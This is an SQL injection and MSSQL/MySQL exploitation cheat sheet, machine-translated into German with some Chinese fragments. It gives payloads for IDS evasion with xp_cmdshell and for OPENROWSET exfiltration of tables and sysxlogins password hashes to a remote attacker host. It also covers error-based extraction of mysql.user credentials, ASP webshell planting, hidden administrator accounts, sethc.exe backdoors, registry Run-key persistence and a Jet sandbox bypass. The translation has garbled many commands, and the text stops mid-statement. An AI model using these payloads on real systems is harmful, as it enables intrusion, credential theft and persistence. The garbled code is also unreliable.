[Name des Datatable-Feldes erhalten] [Aktualisieren Sie den Feldwert zum Feldnamen und lesen Sie dann den Wert dieses Feldes aus, um den Feldnamen zu erhalten] Tabellenname aktualisieren Set Feld=(Feldspalte oben 1 auswählen col_blank>_name(object_blank>_id (Name der Datentabelle zum Abfragen), Feldspalte
Zum Beispiel: 1) [ wobei die Bedingung ]
Umgehung der IDS-Erkennung [unter Verwendung von Variablen] ; Deklarieren @a Sysname-Set @a=xp_blank>_+cmdshell exec @a dir c:\ ; Declare @a Sysname-Set @a=XP+_blank>_cm'+'dshell exec @a dir c:\
1. Öffnen Sie die entfernte _blank>Datenbank Grundlegende Syntax select * aus OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, wählen Sie * aus Tabelle1 ) Parameter: (1) OLEDB-Anbietername 2. Der Verbindungsstring-Parameter kann jeder Port sein, der verbunden werden soll, wie zum Beispiel select * aus OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Netzwerk=DBMSSOCN; Adresse=192.168.0.1,1433; ,
Auswählen * aus der Tabelle 3. Kopiere die gesamte _blank>-Datenbank des Zielhosts und füge alle entfernten Tabellen in die lokale Tabelle ein.
Grundlegende Syntax: insert into OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, wählen * aus Tabelle1) auswählen
* aus Tabelle 2 Diese Zeilenanweisung kopiert alle Daten aus der table2-Tabelle auf dem Zielhost in die table1-Tabelle in der entfernten _blank>-Datenbank. Geeignete Reparaturen in praktischer Anwendung
Ändere die IP-Adresse und den Port der Verbindungszeichenkette, sodass sie dorthin zeigen, wo du sie brauchst, zum Beispiel: Insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netzwerk=DBMSSOCN; Adresse=192.168.0.1,1433; ,Auswählen
* aus Tabelle1) auswählen * aus Tabelle2 Insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netzwerk=DBMSSOCN; Adresse=192.168.0.1,1433; ,Auswählen
* aus _blank>_sysdatabases) Wählen Sie * aus master.dbo.sysdatabases Insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netzwerk=DBMSSOCN; Adresse=192.168.0.1,1433; ,Auswählen
* aus _blank>_sysobjects) Wählen Sie * aus user_blank>_database.dbo.sysobjects Insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netzwerk=DBMSSOCN; Adresse=192.168.0.1,1433; ,Auswählen
* von _blank>_syscolumns) Auswählen * aus user_blank>_database.dbo.syscolumns Replizieren Sie _blank> Datenbank: Insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netzwerk=DBMSSOCN; Adresse=192.168.0.1,1433; ,Auswählen
* aus Tabelle1) auswählen * aus der Datenbank.. Tabelle1 Insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netzwerk=DBMSSOCN; Adresse=192.168.0.1,1433; ,Auswählen
* aus Tabelle2) auswählen * aus der Datenbank.. Tabelle2
Der Hash des Passworts, der das Hash-Tabellen-Login-_blank>-Passwort (HASH) kopiert, wird in sysxlogins gespeichert. So läuft das: Insert in OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Netzwerk=DBMSSOCN; Adresse=192.168.0.1,1433; ,wähle * aus _blank>_sysxlogins)
Wählen * aus database.dbo.sysxlogins Sobald du den Hash hast, kannst du ihn mit Brute-Force benutzen.
Um das Verzeichnis zu durchlaufen: Zuerst erstelle eine temporäre Tabelle: temp ; Tabellentemperatur erstellen (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; Insert Temp Executive master.dbo.xp_blank>_availablemedia; – Alle aktuellen Laufwerke abrufen ; Insert in temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Eine Liste der Unterverzeichnisse erhalten ; Fügen Sie in temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\ ein; – Holen Sie die Verzeichnisbaumstruktur für alle Unterverzeichnisse,
Füge die Zoll in die Temp-Tabelle ein ; Fügen Sie in temp(id) exec ein master.dbo.xp_blank>_cmdshell tippen Sie c:\web\index.asp; – Eine Datei ansehen
Inhalt ; Fügen Sie in temp(id) exec master.dbo.xp_blank>_cmdshell Direktor C:\ ein; – ; Fügen Sie in temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a ein; – ; Insert in temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; Fügen Sie in temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\ ein; – (xp_blank>_dirtree Anwendbare Befugnis
ÖFFENTLICH) Schreiben Sie an die Tabelle: Anweisung 1: und 1=(Wählen IS_blank>_SRVROLEMEMBER(Systemadministrator)); – Aussage 2: und 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin)); – Aussage 3: und 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin)); – Aussage 4: und 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)); – Aussage 5: und 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)); – Aussage 6: und 1=(Select IS_blank>_SRVROLEMEMBER(diskadmin)); – Aussage 7: und 1=(Wählen Sie IS_blank>_SRVROLEMEMBER(Bulkadmin)); – Aussage 8: und 1=(Wählen Sie IS_blank>_SRVROLEMEMBER(Bulkadmin)); – Aussage 9: und 1=(Select IS_blank>_MEMBER(db_blank>_owner)); –
Schreiben Sie den Pfad zur Tabelle: ; Erstellen Sie Tabellenverzeichnisse (Pfade Varchar(100), id int)– ; DIRS EXEC einfügen master.dbo.xp_blank>_dirtree c:\– und 0<> (wähle die Top-1-Wege aus den Direktoren aus)– und 0<>(wähle die Top-1-Wege aus Dirs aus, wo Wege nicht in (@Inetpub))– ; Tabellen-Dirs1 erstellen (Pfade Varchar(100), id int)– ; Fügen Sie dirs executive master.dbo.xp_blank>_dirtree e:\web– ein und 0<> (wähle die Top-1-Wege aus dirs1)–
Sichern Sie _blank> Datenbank in einem Webverzeichnis: Herunterladen ; Deklarieren @a Systemname; setze @a=db_blank>_name(); Backup-Datenbank @a auf disk=e:\web\down.bak; –
und 1=(Wählen Sie oben 1 Namen aus (Wählen Sie oben 12 id, Name aus Sysobjects aus, wobei xtype=char(85)) T
Ordnung nach ID-Beschreibung) und 1=(Auswählen von Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN,1) aus Sysobjects) Siehe auch
Verwandte Übersichten. und 1=(wähle user_blank>_id aus USER_blank>_LOGIN) und 0=(wähle Benutzer aus USER_blank>_LOGIN wo Benutzer>1)
-=- wscrip{filter}t.shell Beispiel -=- Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out Exec sp_blank>_oamethod @o, Run, NULL, notepad.exe ; Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, ausführen,
NULL, notepad.exe–
Declare @o int, @f int, @t int, @ret int Erklären Sie @line Varchar(8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline, @line out while( @ret = 0 ) Beginnen Druck @line exec @ret = sp_blank>_oamethod @f, readline, @line out Ende
Declare @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
Declare @o int, @ret int Exec sp_blank>_oacreate speech.voicetext, @o raus exec sp_blank>_oamethod @o, register, NULL, foo, bar Exec sp_blank>_oasetproperty @o, Speed, 150 exec sp_blank>_oamethod @o, speak, NULL, alle eure Sequel-Server gehören uns, 528 Warteauf Verzögerung 00:00:05
; Declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext @o exec out.
sp_blank>_oamethod @o, register, NULL, foo, bar executive sp_blank>_oasetproperty @o, speed, 150 executive
sp_blank>_oamethod @o, sprich, NULL, alle eure Sequel-Server gehören uns, 528 Warte-auf-Verzögerung
00:00:05–
xp_blank>_dirtree die geltende ÖFFENTLICHE Genehmigung exec master.dbo.xp_blank>_dirtree c: Die zurückgegebenen Informationen haben zwei Felder: Unterverzeichnis, Tiefe. Unterverzeichnisfelder
Charaktertyp, das Tiefenfeld ist das Formgebungsfeld. Erstelle Tabellen-Direktoren (Pfade Varchar(100), ID Int) Tabellenbau: Die hier erstellte Tabelle steht im Zusammenhang mit der oben genannten xp_blank>_dirtree, mit gleichen Feldern und demselben Typ. dirs exec einfügen master.dbo.xp_blank>_dirtree c: Solange wir eine Tabelle erstellen und die vom Speicherprozess zurückgegebenen Felder gleichmäßig definieren
Ausführen! Um den Effekt von Tabellen zu erzielen, Schritt für Schritt, um die gewünschten Informationen zu erreichen! Diese Fehlerinjektion basiert hauptsächlich auf dem Überlauf von Mysql-Datentypen mysql > SELECT 18446744073709551610 * 2 ; FEHLER 1690 ( 22003 ): BIGINT UNSIGNED Wert ist außerhalb des Bereichs in '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; FEHLER 1690 ( 22003 ): BIGINT UNSIGNED ist in '(- (1) * außerhalb des Bereichs
9223372036854775808)' Datenbankversion abfragen: mysql> SELECT * 2 (wenn ((SELECT * aus (SELECT (Version ()) ) s), 18446744073709551610,
18446744073709551610)); FEHLER 1690 (22003): BIGINT UNSIGNED ist außerhalb des Bereichs in '(2 * wenn (( Select ' 5.5 'from
Dual), 18446744073709551610.18446744073709551610))' Erhalten Sie den Feldnamen: mysql> SELECT 2 * if((SELECT * from (select * from test.shop) als '' limit 1)>(SELECT * from
test.shop Limit 1), 18446744073709551610, 18446744073709551610);
FEHLER 1690 (22003): BIGINT UNSIGNED Wert ist außerhalb des Bereichs in '(2 * if((((select
'Artikel', 'Händler', 'Preis' aus (wählen Sie 'Test'.'Shop'.'Artikel' WIE
'Artikel', 'Test'.'Shop'.'Händler' ALS 'Händler', 'Test'.'Shop'.'Preis' ALS 'Preis' von
'Test'.'Shop') Limit 1) > (Auswahl
'Test'.'Shop'.'Artikel','Test'..'Shop'.'Händler','Test'.'Shop'.'Preis' von 'Test'.'Shop' Limit
1)),18446744073709551610,18446744073709551610))' Erhalten Sie den Feldwert:
mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) als '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
FEHLER 1690 (22003): BIGINT UNSIGNED Wert ist außerhalb des Bereichs in '(2 * if((((select
'Localhost', 'root', '*', 'Y', Y'
Y', Y', Y', Y', '', 0', 0', 0', 0', 0', '0, Dual Limit 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Beachten Sie, dass diese Methode mit älteren Mysql-Versionen nicht funktioniert, und Sie müssen die Längenbegrenzung der Fehlermeldung kennen, da dies bestimmen wird
Du kannst so lange bekommen, wie du möchtest: mysys / my_error.c
/* Maximale Länge einer Fehlermeldung. Sollte mit MYSQL_ERRMSG_SIZE synchronisiert bleiben. */ #define ERRMSGSIZE (512)
Wenn das Objekt MariaDB ist (ein Fork von Mysql), könnten Sie eine Fehlermeldung wie diese sehen, wenn Sie die obige Methode ausprobieren:
mysql> SELECT 2*(if((SELECT * aus (SELECT (version())))s), 18446744073709551610,
18446744073709551610)) FEHLER 1690 (22003): BIGINT UNSIGNED Wert ist außerhalb des Bereichs in '(2 * if((select
#),18446744073709551610,18446744073709551610))'
Als Lösung kann dieses Problem folgendermaßen gelöst werden:
mysql> SELECT (I IST NICHT NULL) - -9223372036854775808 FROM (SELECT (version())i)a; FEHLER 1690 (22003): BIGINT-Wert ist außerhalb des Bereichs in '(('5.5-MariaDB' ist nicht null) - -
(9223372036854775808))' Mal sehen, ob wir unseren Vektor etwas kürzer machen können
//查询数据库版本
SELECT 2*(wenn((SELECT * aus (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) = select 1E308*if((select*from(select version())x),2,2)
SELECT (i IST NICHT NULL) - -9223372036854775808 AUS (SELECT (version())i)a = select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称 SELECT 2 * if((SELECT * from (select * from (select * from test.shop) als '' limit 1)>(SELECT * from
test.shop Limit 1), 18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) als '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 select 1E308*if((select user|| host|| Passwort|| file_priv from(select*from mysql.user LIMIT
1) eine Grenze 1),2,2)
//获取字段个数
select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)
Einige weitere Deformationen
SELECT (i IST NICHT NULL) - -9223372036854775808 AUS (SELECT (version())i)a select 1E308*if((select user|| host|| Passwort|| file_priv from(select*from mysql.user LIMIT
1) ein Limit 1),2,2); => select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)ein Limit
1),1e308,0); MySQL> select (select * from mysql.user)=1; MySQL> Select (select * from mysql.user)in(1);
FEHLER 1241 (21000): Das Operand sollte 42 Spalten enthalten. select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)ein Limit
1),1e308,0); Auswählen wenn((Benutzer auswählen|| host|| Passwort|| file_priv from(select*from mysql.user LIMIT 1)a
limit 1),2,2)*1E308 SELECT (i IST NICHT NULL) - -9223372036854775808 AUS (SELECT (version())i)a select (x!=0x00)--9223372036854775808 from(SELECT version()x)y mysql> select!x-~0.FROM(select+user()x)f; FEHLER 1690 (22003): BIGINT UNSIGNED Wert ist außerhalb des Bereichs in '((not('root@localhost')) - ~
(0))' 3. Das Datenbanksystem bewerten ; und (select count(*) from sysobjects)>0 mssql ; und (select count(*) from msysobjects)>0 access 4. Der Einspritzparameter ist ein Zeichen 'und [Abfragekriterien] und ''=' 5. Während der Suche gibt es keine gefilterten Parameter 'und [Abfragekriterien] und '%25'=' 6. Rate die Datenbank ; und (wähle Count(*) aus [Datenbankname])>0 7. Errate das Feld ; und (wähle Count(Feldname) aus dem Datenbanknamen)>0 8. Rate die Länge des Rekords im Feld ; und (wähle oben 1 LEN (Feldname) aus dem Datenbanknamen>0 9. (1) Den ASCII-Wert des Feldes erraten (Zugriff) ; und (wähle Top 1 ASC(Mid(Feldname, 1,1)) aus Datenbanknamen aus)>0 (2) Den ASCII-Wert des Feldes erraten (mssql) ; und (wähle oben 1 Unicode(Substring(Feldname, 1,1)) aus Datenbanknamen)>0 10. Testberechtigungsstruktur (mssql) ; und 1=(wählen IS_SRVROLEMEMBER('sysadmin')); -- ; und 1=(auswählen IS_SRVROLEMEMBER('serveradmin')); -- ; und 1=(wähle IS_SRVROLEMEMBER('setupadmin')); -- ; und 1=(wähle IS_SRVROLEMEMBER('securityadmin')); -- ; und 1=(auswählen IS_SRVROLEMEMBER('diskadmin')); -- ; und 1=(auswählen IS_SRVROLEMEMBER('bulkadmin')); -- ; und 1=(wähle IS_MEMBER('db_owner')); -- 11. Ein Konto für mssql und das System hinzufügen ; exec master.dbo.sp_addlogin Benutzername; -- ; exec master.dbo.sp_password null, username, password; -- ; Exec master.dbo.sp_addsrvrolemember Sysadmin-Benutzername; -- ; exec master.dbo.xp_cmdshell 'Net-Benutzer-Benutzername Passwort /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; exec master.dbo.xp_cmdshell 'Netzbenutzer-Benutzername Passwort /Hinzufügen'; -- ; exec master.dbo.xp_cmdshell 'Net Localgroup Administrators Benutzername /add'; -- 12. (1) Durchforsten des Katalogs ; Erstelle Tabellen-Direktoren (Pfade Varchar(100), ID Int) ; Fügen Sie dirs Exec master.dbo.xp_dirtree 'c:\' ein ; und (wähle die Top-1-Wege aus den Dirs>0 aus)0 ; und (wähle die Top-1-Pfade aus Dirs aus, bei denen Pfade, die nicht in sind ('Pfade, die aus dem vorherigen Schritt erhalten wurden'))>) (2) Durchforsten des Katalogs ; Tabellentemperatur erstellen (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; Temporäre Führungskraft master.dbo.xp_availablemedia; -- Hol alle aktuellen Laufwerke ; Fügen Sie in temp(id) exec master.dbo.xp_subdirs 'c:\' ein; -- Eine Liste der Unterverzeichnisse erstellen ; in temp(id,num1) exec master.dbo.xp_dirtree 'c:\' einfügen; -- Erhalten Sie die Verzeichnisbaumstruktur für alle Unterverzeichnisse ; Fügen Sie in temp(id) exec master.dbo.xp_cmdshell 'tippen Sie C:\Web\index.asp' ein; -- Den Inhalt der Datei anzeigen 13. Gespeicherte Prozeduren in mssql xp_regenumvalues Register-Root-Key, Kinderschlüssel ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' und mehr
Recordset-Methode zur Rückgabe aller Schlüsselwerte xp_regread Wurzelschlüssel, Kinderschlüssel, Schlüssel-Wert-Name ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'CommonFilesDir' liefert den Wert des Formulierungsschlüssels zurück xp_regwrite Wurzelschlüssel, Kinderschlüssel, Wertname, Werttyp, Wert Es gibt zwei Arten von Werttypen REG_SZ REG_DWORD für Zeichentypen und für ganze Zahlen ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' sind in das Register geschrieben xp_regdeletevalue Wurzelschlüssel, Unterschlüssel, Wertname exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', um einen Wert zu entfernen xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' Löschtaste,
Fügen Sie alle Werte unter diesem Schlüssel hinzu 14. MSSQL-Backup erstellt eine Webshell Nutzungsmodell Tabellen-CMD erstellen (STR-Bild); in cmd(str)-Werte einfügen ('<% Dim oscrip{filter}t %>'); Backup-Datenbankmodell auf Festplatte='c:\l.asp'; 15. MSSQL integrierte Funktionen ; und (wählen Sie @@version)>0, um die Windows-Versionsnummer zu erhalten ; und user_name()='dbo', um zu bestimmen, ob der angeschlossene Nutzer des aktuellen Systems SA ist ; und (wähle user_name())>0 Explodierten die verbundenen Nutzer des aktuellen Systems ; und (wählen Sie db_name())>0, um die aktuell verbundene Datenbank zu erhalten 16. Knappe Webshell Nutzungsmodell Tabellen-CMD erstellen (STR-Bild); In cmd(STR)-Werte einfügen ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); Backup-Datenbankmodell auf Festplatte='g:\wwwtest\l.asp'; Beim Anfragen verwenden Sie etwas wie Folgendes:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Erhalten Sie alle Datenbanknamen, einschließlich Systemdatenbanken, –NAME auswählen AUS master.dbo.sysdatabases
– Beziehen Sie alle nicht-systembezogenen Datenbanknamen –wählen Sie [Name] aus master.dbo.sysdatabases, wo DBId>6 nach [Name] sortiert
– Erhalten Sie alle Informationen, einschließlich der Datenbankdateiadresse –wählen * aus master.dbo.sysdatabases, wo DBId>6 Sortieren nach
[Name]
Diese Anweisungsanfrage liefert alle Benutzertabellen zurück
Wähle * aus Sysobjects aus, wobei xtype='u'
Abfrage aller Datentabelleninformationen im System
Wähle * aus Sysobjects aus
Schau dir den Namen der Maschine an Wählen Sie * aus sys.servers
Inhaltsverzeichnis der Spalte Exec master.dbo.xp_subdirs 'C:\'
Exec master.dbo.xp_dirtree 'c:',1,1 db_owner Berechtigungen können durchgesetzt werden
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Programmcode, in Webshell geschrieben
exec master.dbo.xp_subdirs 'd:\web\www.xx.com'; Exec sp_makewebtask 'D:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"
Hinrichten Meister.. xp_enumgroups
Nutzer des Traverse-Systems
Hinrichten Meister.. xp_getnetname Erhalten Sie den aktuellen Maschinennamen
--Listen Sie die festen Laufwerke auf dem Server auf, zusammen mit dem verfügbaren Speicherplatz für jedes Laufwerk DBO Public
Ausführen
xp_ntsec_enumdomains
-- Erstelle ein Konto, um dich bei MSSQL anzumelden Exec master.dbo.sp_addlogin Name, Pass; --
-- Listen Sie den Server-Domainnamen auf xp_ntsec_enumdomains // Maschinenname //dbo öffentlich
-- Einen Service stoppen oder starten xp_servicecontrol 'stopp', 'schedule' //schedule ist der Servicename //dbo
--Verwenden Sie PID
Ein ausführendes Programm stoppen xp_terminate_process 123 //123 ist das PID //dbo
-- Nur Unterverzeichnisse in einem Verzeichnis sind aufgeführt dbo.xp_subdirs 'C:' //dbo
SQL Server Die Methode zur Eröffnung der xp_cmdshell im Jahr 2005 EXEC sp_configure 'erweiterte Optionen anzeigen', 1; UMKONFIGURIEREN; EXEC
sp_configure 'xp_cmdshell', 1; UMKONFIGURIEREN;
SQL2005 Öffne 'OPENROWSET' Unterstützte Methoden: Exec sp_configure 'Erweiterte Optionen anzeigen', 1; UMKONFIGURIEREN; Exec sp_configure 'Ad Hoc
Verteilte Anfragen',1; UMKONFIGURIEREN;
SQL2005, um die Unterstützung von 'sp_oacreate' zu aktivieren: Exec sp_configure 'Erweiterte Optionen anzeigen', 1; UMKONFIGURIEREN; Exekutiv
sp_configure 'Ole Automation Procedures',1; UMKONFIGURIEREN
Wie man xp_cmdshell in SQL Server 2008 aktiviert
-- Um erweiterte Optionen ändern zu können. EXEC
sp_configure 'erweiterte Optionen anzeigen', 1 LOS -- Um den aktuell konfigurierten Wert zu aktualisieren für
Erweiterte Optionen. UMKONFIGURIEREN LOS -- Um die Funktion zu aktivieren. EXEC sp_configure 'xp_cmdshell', 1 LOS --An
Aktualisieren Sie den aktuell konfigurierten Wert für diese Funktion. UMKONFIGURIEREN LOS
exec xp_cmdshell 'ipconfig'
Heute wollte ich das SA-Login-Passwort des Datenbankservers ändern, habe es aber plötzlich vergessen, also musste ich mit Hilfe anderer Konten den Abfrage-Analyzer öffnen, um das SA-Passwort zu ändern
Es ist sehr einfach:
Hinrichtung: sp_password Null,'teracypwd,'sa' Setze das SA-Passwort auf "teracypwd"
Nach erfolgreicher Hinrichtung
Es gibt "Befehle(n) erfolgreich abgeschlossen." OKAY!
In der Datenbankberechtigung wird die Methode zur Erlangung der MSSQL-Datenbankserver-IP getrennt
1. Lokaler NC hört NC - VVLP 80
2.; Einfügen in
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Netzwerk=DBMSSOCN; Adresse=Ihre IP, 80; ', 'wähle * aus
dest_table') wählen * aus src_table; --
Wähle * aus OpenRowset aus
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','Benutzer auswählen; ')
Datenbankimport und -export
/*不同服务器数据库之间的数据操作*/
--Verknüpfungsserver erstellen Exec sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Remote Server Name oder IP-Adresse' exec sp_addlinkedsrvlogin 'ITSV', 'false
',null, 'Benutzername', 'Passwort'
--Abfragebeispiel wähle * aus ITSV.database name.dbo.table name
--import-Beispiel Auswählen *
in die Tabelle von ITSV.databasename.dbo.tablename
--Lösche den verknüpften Server, falls er in Zukunft nicht mehr genutzt wird Geschäftsführer sp_dropserver 'ITSV',
'Droplogins'
-- Verbindung zu entfernten/LAN-Daten (openrowset/openquery/opendatasource) --1、Offen Rowset
--Abfragebeispiel Auswählen *
von openrowset( 'SQLOLEDB ', 'sql server name '; 'Benutzername'; 'Passwort', Datenbankname.dbo.table name)
-- Generiere eine lokale Tabelle wählen Sie * in die Tabelle aus openrowset( 'SQLOLEDB ', 'SQL Server Name '; 'Benutzername'; 'Passwort', Nummer
Laut dem Datenbankname.dbo. Tabellenname)
-- Importiere die lokale Tabelle in die entfernte Tabelle insert openrowset( 'SQLOLEDB', 'sql server name'; 'Benutzername'; 'Passwörter', Datenbanken
name.dbo.table name) *aus der lokalen Tabelle auswählen
-- Aktualisieren Sie lokale Tabellen Update B Setze b. Spalte A = a von openrowset( 'SQLOLEDB ', 'sql server name '; 'Benutzername'; '
Passwort ', Datenbankname .dbo.table name) als Inner Join lokale Tabelle B auf a.column1=b.column1
--openquery Die Nutzung erfordert das Herstellen einer Verbindung
--Zuerst eine Verbindung herstellen, um einen Linkserver zu erstellen Geschäftsführer sp_addlinkedserver 'ITSV', ' ',
'SQLOLEDB', 'entfernter Servername oder IP-Adresse' --Nachfragen Auswählen * FROM openquery(ITSV, 'SELECT * FROM data
library.dbo.table name ') -- Importiere die lokale Tabelle in die entfernte Tabelle insert openquery(ITSV, 'SELECT * FROM database.dbo.table name') Wählen Sie * aus lokal
Tabelle --lokale Tabelle aktualisieren Update B Menge b. Spalte B=a FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')
als ein innere Naht lokale Tabelle b auf A an. Spalte A=b. Spalte A
--3、opendatasource/openrowset AUSWÄHLEN * VON
opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; Benutzer-ID = Login-Name; Passwort=Passwort '
).test.dbo.roy_ta -- Importiere die lokale Tabelle in die entfernte Tabelle
Löschung und Wiederherstellung von xp_cmdshell
Wege zur Wiederherstellung xp_cmdshell Löschen Sie die erweiterte gespeicherte Prozedur xp_cmdshell
Aussage Exec sp_dropextendedproc 'xp_cmdshell'
Wiederherstellen Sie die SQL-Anweisung von cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Exekutiv
master.dbo.add extendedproc 'xp_cmdshell','xplog70.dll'; Anzahl auswählen(*) aus
master.dbo.sysobjects wobei xtype='x' und Das Rückgabeergebnis ist 1 und es ist in Ordnung
Ansonsten musst du c:\inetput\web hochladen
\xplog70.dll später exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll
’; --
Wenn du es auf folgende Weise löschst. Drop-Verfahren sp_addextendedproc Abwurfverfahren sp_oacreate Exekutiv
sp_dropextendedproc 'xp_cmdshell'
Sie können es mit folgender Aussage wiederherstellen dbcc addendedproc ("sp_oacreate", "odsole70.dll") DBCC
addendedproc ("xp_cmdshell", "xplog70.dll")
Auf diese Weise kann es direkt wiederhergestellt werden, unabhängig davon, ob sp_addextendedproc existiert oder nicht
1、 Verwenden Sie xp_cmdshell: Exec master.dbo.xp_cmdshell "Net User admin admin /add" Exekutiv
master.dbo.xp_cmdshell "Net Localgroup Administrators Admin /add"
In xp_cmdshell Fall verwenden Sie sp_oacreate, um sp_oamethod zu folgen: Erklären Sie @object Int Exekutiv
sp_oacreate 'wscrip{filter}t.Shell', @object raus Exec sp_oamethod
@object,'Run', NULL,'Net User admin admin /add' exec sp_oamethod @object, 'Run', NULL, 'net
localgroup Administratoren admin /add'
Hinweis: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Nutze sp_oacreate und FSO Declare @o int Exec sp_oacreate
'scrip{filter}ting.filesystemobject', @o raus exec sp_oamethod @o, 'copyfile', null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; Erklären Sie @oo Int Exekutiv
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo raus Geschäftsführer sp_oamethod @oo,
'copyfile', null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Verwenden Sie xp_regwrite (db_owner, Neustart erforderlich): Exec master.dbo.xp_regwrite
'hkey_local_machine',software\microsoft\windows\currentversion\
run', 'eadd1', 'reg_sz','netuser admin admin /add' Exec master.dbo.xp_regwrite
'hkey_local_machine',software\microsoft\windows\currentversion\
run','eadd2','reg_sz','net localgroup administrators admin /add' 5. Verwenden Sie sp_add_job: Exekutiv
master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT' Nutze MSDB Exec sp_delete_job
null, 'x' Exec sp_add_job 'X' Exec sp_add_jobstep
Null,'x', Null,'1','CMDEXEC','cmd /c Net-User-Admin-Admin /add' Exec sp_add_jobserver
Null, 'x', @@servername exec sp_start_job 'x'
Viele SA haben mit vielen Maschinen direkt im Sandbox-Modus Erfolg gehabt, aber ich habe das nie geübt und weiß nicht, wie hoch die Erfolgsquote ist. Wenn die Verlängerung entfernt wird, zuerst
Stellen Sie den Lese- und Schreibspeicher im Register wieder her. dbcc addendedproc ('xp_regread', 'xpstar.dll') dbcc addendedproc
('xp_regwrite','xpstar.dll')
Der geschützte Modus des Sandkastens wurde behoben Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Engines','SandBoxMode','REG_DWORD',0; --
Prüfen Sie, ob der Wert 'SandBoxMode' auf 0 gesetzt wurde.
Geschäftsführer master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', SOFTWARE
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Ruf schließlich den Sandbox-Modus auf Select * from openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
